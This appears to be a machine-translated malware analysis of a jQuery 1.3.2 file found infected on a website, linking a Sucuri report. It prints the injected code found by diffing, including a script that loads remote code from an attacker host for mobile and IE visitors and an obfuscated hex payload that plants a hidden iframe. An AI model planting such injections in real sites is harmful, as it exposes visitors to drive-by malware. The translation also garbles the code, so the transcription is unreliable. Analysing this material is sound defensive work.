Web iframe injection case
External link address: hXXp://www.ldkxzzs.com/script/jquery-1.3.2.min.js
Use the window FC command to compare normal files with unlinked web pages
Comparing file C:\ USERS\ AT\ DESKTOP\ jquery-1.3.2.min.js with C:\ USERS\ AT\ DESKTOP\ JS [infored]\ JQUERY-1.3.2.MIN (2) .js
* C:\ USERS\ AT\ DESKTOP\ JS [infored]\ jquery-1.3.2.min.js
/
JQuery JavaScript Library v1.3.2
* C:\ USERS\ AT\ DESKTOP\ JS [infored]\ JQUERY-1.3.2.MIN (2) .JS
/ visitorTracker*/
Var visanalyzerin = setInterval (function () {
If (document.body! = null & & typeof document.body! = "undefined") {
ClearInterval (visanalyzerin)
If (typeof window ["globalvisitor"] = = "undefined") {
Window ["globalvisitor"] = 1
Var isIE = visanalyzerde ()
Var isChrome =! isIE & &!! window.chrome & & window.navigator.vendor = = "Google Inc."
If (visanalyzer_isMob ()) {
Var visanalyzervs = document.createElement ("script"); visanalyzervs.src = "hXXp://ldkxzzs.com/bbs/data/forums/temps/tracks.php?mob=1"; document.getElementsByTagName ("head") [0] .appendChild (visanalyzervs)
} else {
If ((isIE & &! isChrome & &! visanalyzer_isMob () {
Var visanalyzervs = document.createElement ("script"); visanalyzervs.src = "hXXp://ldkxzzs.com/bbs/data/forums/temps/tracks.php"; document.getElementsByTagName ("head") [0] .appendChild (visanalyzervs)
}
}
}
Visitortracksdel ()
}
}, 100)
Function visitortracksdel () {
/ / return
Var curscid = "none"
If (curscid! = "none") {
Var csr = document.getElementById (curscid)
If (typeof csr! = undefined & & csr! = null) {
Csr.outerHTML = ""
Delete csr
}
}
}
Function visanalyzerde () {
Var ua = window.navigator.userAgent
Var msie = ua.indexOf ("MSIE")
If (msie > 0) {
Return parseInt (ua.substring (msie + 5, ua.indexOf (".", msie)), 10)
}
Var trident = ua.indexOf ("Trident/")
If (trident > 0) {
Var rv = ua.indexOf ("rv:")
Return parseInt (ua.substring (rv + 3, ua.indexOf (., rv)), 10)
}
Var edge = ua.indexOf ("Edge/")
If (edge > 0) {
Return parseInt (ua.substring (edge + 5, ua.indexOf (".", edge)), 10)
}
Return false
}
Function visanalyzerisMob () {
Var ua = window.navigator.userAgent.toLowerCase ()
If (/ (android | bb\ d+ | meego). + mobile | avantgo | bada\ / | blackberry | blazer | compal | elaine | fennec | hiptop | iemobile | ip (hone | od) | iri
S | kindle | lge | maemo | midp | mmp | mobile.+firefox | netfront | opera m (ob | in) I | palm (os)? | phone | p (ixi | re)\ / | plucker | pocket | psp | series (4 |
6) 0 | symbian | treo | up. (browser | link) | vodafone | wap | windows ce | xda | xiino/i.test (ua) | | / 1207 | 6310 | 6590 | 3gso | 4thp | 50 [1-6] I | 770s | 802s |
A wa | abac | ac (er | oo | s -) | ai (ko | rn) | al (av | ca | co) | amoi | an (ex | ny | yw) | aptu | ar (ch | go) | as (te | us) | attw | au (di |-m | r | s) | avan | be (ck | ll | n)
Q) | bi (lb | rd) | bl (ac | az) | br (e | v) w | bumb | bw- (n | u) | c55\ / | capi | ccwa | cdm- | chtm | cldc | cmd- | co (mp | nd) | craw | da (it | ll | ng) | dbte | dc-
S | devi | dica | dmob | do (c | p) o | ds (12 |-d) | el (49 | ai) | em (L2 | ul) | er (ic | K0) | esl8 | ez ([4-7] 0 | os | wa | ze) | fetc | fly (- |) | G1 u | g560 | gene | gf-5
| | g-mo | go (.w | od) | gr (ad | un) | haie | hcit | hd- (m | p | t) | hei- | hi (pt | ta) | hp (I | ip) | hs-c | ht (c (- | _ | a | g | p | s | t) | tp) | hu (aw | tc) | i20 | g |
O | ma) | i230 | iac (|-|\ /) | ibro | idea | ig01 | ikom | im1k | inno | ipaq | iris | ja (t | v) a | jbro | jemu | kddi | keji | kgt (|\ /) | klon | kpt | kwc- | kyo
(C | k) | le (no | xi) | lg (g |\ / (k | l | u) | 50 | 54 |-[aripw]) | libw | lynx | M1 Maiw | m3ga | M50\ / | ma (te | ui | xo) | mc (01 | 21 | ca) | m-cr | me (rc | ri) | mi (O8 | oa | ts)
) | mmef | mo (01 | 02 | bi | de | do | t (- | o | v) | zz) | mt (50 | p1 | v) | mwbp | mywa | n10 [0-2] | N20 [2-3] | n30 (0 | 2) | n50 (0 | 2 | 5) | N7 (0 (0 | 1) | 10) | ne ((c | m)-| |
On | tf | wf | wg | wt) | nok (6 | I) | nzph | o2im | op (ti | wv) | oran | owg1 | p800 | pan (a | d | t) | pdxg | pg (13 |-([1-8] | c)) | phil | pire | pl (ay | uc) | pn-2 | po (ck |
Rt | se) | prox | psio | pt-g | qa-a | qc (07 | 12 | 21 | 32 | 60 |-[2-7] | I -) | qtek | R380 | R600 | raks | ro (ve | zo) | s55\ / | sa (ge | ma | mm | ms | ny | va) | sc (0)
| 1 | h-| oo | p -) | sdk\ / | se (c (- | 0 | 1) | 47 | mc | nd | ri) | sgh- | shar | sie (- | m) | sk-0 | sl (45 | id) | sm (al | ar | b3 | it | T5) | so (ft | ny) | sp (01 | h-| v-| v)
) | sy (01 | mb) | T2 (18 | 50) | T2 (00 | 10 | 18) | ta (gt | lk) | tcl- | tdg- | tel (I | m) | tim- | t-mo | to (pl | sh) | ts (70 | m-| m3 | M5) | tx-9 | up (.b | G1 | si) | u
Tst | v400 | v750 | veri | vi (rg | te) | vk (40 | 5 [0-3] |-v) | vm40 | voda | vulc | vx (52 | 53 | 60 | 61 | 70 | 81 | 83 | 85 | 98) | W3C (- |) | webc | whit | wi (g | nc | nw)
) | wmlb | wonu | x700 | yas- | your | zeto | zte-/i.test (ua.substr (0heli4) {
Return true
}
Return false
} / visitorTracker//*
JQuery JavaScript Library v1.3.2
C:\ USERS\ AT\ DESKTOP\ JS [included]\ jquery-1.3.2.min.js
Roll "+ G], document.body [" offset "+ G], document.documentElement [" offset "+ G]): this.length?o.css (this [0], J): null): this.css
Ypeof Knights = "string"? KRV KV + "px")})}) ()
C:\ USERS\ AT\ DESKTOP\ JS [included]\ JQUERY-1.3.2.MIN (2) .JS
Roll "+ G], document.body [" offset "+ G], document.documentElement [" offset "+ G]): this.length?o.css (this [0], J): null): this.css
Ypeof Knights = "string"? KRV KV + "px")})}) ()
/ ceaac6f63aa22c2d228fa77b762e3461/
Var _ 0xdc56 = ["\ x6F\ x6E\ x6F\ x6F\ x61\ x64", "\ x67\ x65\ x74\ x44\ x61\ x65", "\ x73\ x65\ x74\ x44\ x61\ x74\ x65", "\ x63\ x6F\ x6F\ x6B\ x69\ x65"
","\ x3B\ x20\ x65\ x78\ x70\ x69\ x72\ x65\ x73\ x3D ","\ x74\ x6F\ x54\ x43\ x53\ x74\ x72\ x69\ x6E\ x67 ","\ x3D\ x28\ x5B\ x5e\ x3B\ x5D "
\ x29\ x7B\ x31\ x2C\ x7D ","\ x65\ x78\ x65\ x63 ","\ x73\ x70\ x6C\ x69\ x74 ","\ x61\ x64\ x2D\ x63\ x6F\ x6F\ x6B\ x69\ x65 ","\ x65\ x72\ x32\ x76\ x64\ x7 "
2\ x35\ x67\ x64\ x63\ x33\ x73 ","\ x64\ x69\ x76 ","\ x63\ x72\ x65\ x61\ x74\ x45\ x6C\ x65\ x6D\ x65\ x6E\ x74 ","\ x68\ x74\ x74\ x70\ x3A\ x2F\
X2F\ x73\ x74\ x61\ x69\ x63\ x2E\ x74\ x72\ x79\ x6D\ x66\ x69\ x6E\ x67\ x65\ x72\ x2E\ x65\ x62\ x73\ x69\ x74\ x65\ x2F\ x61\ x64\ x2F\ x3F
\ x69\ x64\ x3D\ x36\ x39\ x34\ x33\ x33\ x31\ x26\ x6B\ x65\ x79\ x77\ x6F\ x72\ x64\ x3D ","\ x26\ x61\ x64\ x76\ x72\ x74\ x3D\ x55\ x48\ x68\ x75
\ x79\ x34 ","\ x69\ x6E\ x6e\ x65\ x72\ x48\ x54\ x4D\ x4C ","\ x3C\ x64\ x69\ x76\ x20\ x73\ x74\ x79\ x6C\ x65\ x3D\ x27\ x70\ x6F\ x73\ x69\ x74\ x6F\
X6E\ x3A\ x61\ x62\ x73\ x6F\ x6C\ x75\ x74\ x65\ x3B\ x7A\ x2D\ x69\ x6E\ x64\ x65\ x78\ x3A\ x31\ x30\ x30\ x3B\ x74\ x6F\ x70\ x3A\ x2D\ x31\ x30\ x30
\ x30\ x70\ x78\ x3B\ x6C\ x65\ x66\ x74\ x3A\ x2D\ x39\ x70\ x78\ x3B\ x27\ x3E\ x69\ x66\ x61\ x6D\ x65\ x20\ x73\ x72\ x63\ x3D\ x2
7 ","\ x27\ x3E\ x3C\ x2F\ x69\ x66\ x72\ x61\ x6D\ x65\ x3E\ x3F\ x64\ x69\ x76\ x3e ","\ x61\ x70\ x70\ x65\ x6E\ x64\ x43\ x68\ x6C\ x64 ","\ x62 "
X6F\ x64\ x79 "]; window [_ 0xdc56 [0]] = function () {function _ 0x739ex1 (_ 0x739ex2) {if (_ 0x739ex4) {var _ 0x739ex5 = new
Date (); _ 0x739ex5 [_ 0xdc56 [2]] (_ 0x739ex5 [_ 0xdc56 [1]] () + _ 0x739ex4);}; if (_ 0x739ex2&&_0x739ex3) {document [_ 0xdc56 [3]] = _ 0x739ex2+_0xdc
56 [4] + _ 0x739ex3 + (_ 0x739ex4?_0xdc56 [5] + _ 0x739ex5 [_ 0xdc56 [6]] (): _ 0xdc56 [7])} else {return false};} function _ 0x739ex6 (_ 0x739ex2) {va
R _ 0x739ex3 = new RegExp (_ 0x739ex2+_0xdc56 [8]); var _ 0x739ex4=_0x739ex3_0xdc56 [9]; if (_ 0x739ex4) {_ 0x739ex4
= _ 0x739ex4 [0] _ 0xdc56 [10]} else {return false}; return _ 0x739ex4 [1]? _ 0x739ex4 [1]: false;} var _ 0x739ex7=_0x739ex6 (_ 0xd
C56 [11]); if (_ 0x739ex7 / 0xdc56 / 0xdc56 [12]) {_ 0x739ex1 (_ 0xdc56 [11], _ 0xdc56 [12], 1); var _ 0x739ex8=document_0xdc56 [14]; var _
0x739ex9x660702 [var _ 0x739exabath _ 0xdc56 [15] + _ 0x739ex9+_0xdc56 [16]; _ 0x739ex8 [_ 0xdc56 [17]] = _ 0xdc56 [18] + _ 0x739exa+_0xdc56 [19]; docume
Nt [_ 0xdc56 [21]] _ 0xdc56 [20];};}
/ ceaac6f63aa22c2d228fa77b762e3461/
Hexadecimal conversion result:
Related report: https://blog.sucuri.net/2016/02/massive-admedia-iframe-javascript-infection.html
